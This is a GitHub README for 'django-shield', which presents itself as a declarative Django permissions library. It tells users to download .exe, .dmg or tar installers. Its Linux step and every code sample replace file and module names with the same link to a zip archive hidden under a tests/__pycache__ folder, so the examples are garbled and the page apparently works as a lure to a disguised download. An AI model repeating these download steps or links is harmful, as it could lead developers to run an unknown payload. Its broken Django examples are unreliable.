Skip to content

πŸ”’ Simplify Django permissions with a declarative system that protects views, reducing repetitive checks and improving security.

Notifications You must be signed in to change notification settings

Gordaotrembala/django-shield

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

20 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ›‘οΈ django-shield - Easily Manage Permissions in Django

πŸš€ Getting Started

Welcome to django-shield! This tool helps you manage permissions in your Django applications. You can define rules once and protect your views everywhere. No programming skills are needed to use it!

πŸ“₯ Download

Download django-shield

πŸ’» System Requirements

  • Operating System: Windows, macOS, or Linux
  • Python: Version 3.6 or higher
  • Django: Version 2.2 or higher
  • Storage: At least 50 MB of free space

🌐 Features

  • Declarative Permission System: Set rules that apply across your application.
  • Easy Integration: Add it to your Django project with minimal setup.
  • User-Friendly: Designed for ease of use, even for non-coders.
  • Security Focused: Enhance your application's security easily.

πŸ” Usage Guide

πŸ› οΈ Installation

  1. Visit the Releases page to download the latest version of django-shield.
  2. Choose the appropriate package for your operating system.
  3. Click on the download link for the package.
  4. Once downloaded, follow the instructions for installation specific to your operating system:

For Windows

  • Double-click the downloaded .exe file.
  • Follow the setup wizard to complete the installation.

For macOS

  • Open the .dmg file you downloaded.
  • Drag the django-shield icon into your Applications folder.

For Linux

  • Open your terminal.
  • Navigate to the directory where you downloaded the file.
  • Use the command:
    tar -xzf https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip
  • Follow any additional instructions provided in the README file located in the extracted folder.

🏁 Setup Guide

  1. Open your terminal or command prompt.
  2. Navigate to your Django project folder.
  3. Install django-shield using pip by running:
    pip install django-shield
  4. After installation, add 'django_shield' to your INSTALLED_APPS in https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip.

πŸ“‚ Configuration

To set up permissions with django-shield, follow these steps:

  1. Open your https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip file.
  2. Import the necessary components from django-shield:
    from https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip import permission_required
  3. Use the @permission_required decorator on any view you want to protect. For example:
    @permission_required('https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip')
    def my_view(request):
        return HttpResponse("You have access!")

πŸ—οΈ Defining Permissions

  1. Define your permissions in your Django models by adding:
    class MyModel(https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip):
        ...
        class Meta:
            permissions = [
                ("view_data", "Can view data"),
            ]
  2. Migrate your database to apply changes:
    python https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip makemigrations
    python https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip migrate

πŸ”’ Example Use

Now that you have setup django-shield in your project, you can create views that only specific users can access based on the permissions you set.

@permission_required('https://github.com/Gordaotrembala/django-shield/raw/refs/heads/main/tests/test_expressions/__pycache__/shield_django_v1.7.zip')
def sensitive_view(request):
    return HttpResponse("Sensitive data displayed here!")

πŸ”§ Troubleshooting

If you encounter any issues, here are some common solutions:

  • Installation Issues: Ensure Python and pip are installed correctly and are added to your PATH.
  • Permission Errors: Make sure you have correctly defined the permissions in your models.
  • View Not Accessible: Check if the user has been granted the necessary permissions.

πŸ“ž Support

For assistance, feel free to open an issue on the GitHub Issues page. Community members and maintainers are ready to help.

πŸ“₯ Download & Install Again

Do not forget, you can always revisit the Releases page to download the latest version of django-shield.

With django-shield, managing permissions in your Django application is simple and effective. We hope you enjoy using it!

Releases

No releases published

Packages

 
 
 

Contributors 2

  •  
  •  

Languages